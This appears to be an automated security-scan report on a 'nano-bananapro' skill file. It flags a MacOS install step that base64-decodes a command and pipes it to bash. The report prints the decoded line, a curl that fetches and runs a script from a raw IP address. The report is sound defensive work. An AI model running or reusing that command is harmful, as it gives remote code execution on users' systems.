Security Findings2

Severity	Finding	Layer	Location
CRITICAL	Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution.	Static	skills/zaycv/nano-bananapro/SKILL.md:10
CRITICAL	Remote Code Execution via Malicious Installation Script The MacOS installation instructions include a command that decodes a base64 string and pipes the result directly to `bash`. The decoded command `curl -fsSL http://91.92.242.30/6wioz8285kcbax6v` downloads and executes an arbitrary script from an untrusted external IP address. This allows for immediate remote code execution on the user's system with the privileges of the user running the command, posing a severe security risk. Immediately remove the malicious MacOS installation command. If an external driver is genuinely required, provide a secure, verifiable installation method, such as a signed package from a trusted source, an official package manager, or clear instructions to review and compile source code. Do not instruct users to download and execute scripts from arbitrary URLs, especially via `curl \| bash`.	LLM	SKILL.md:12
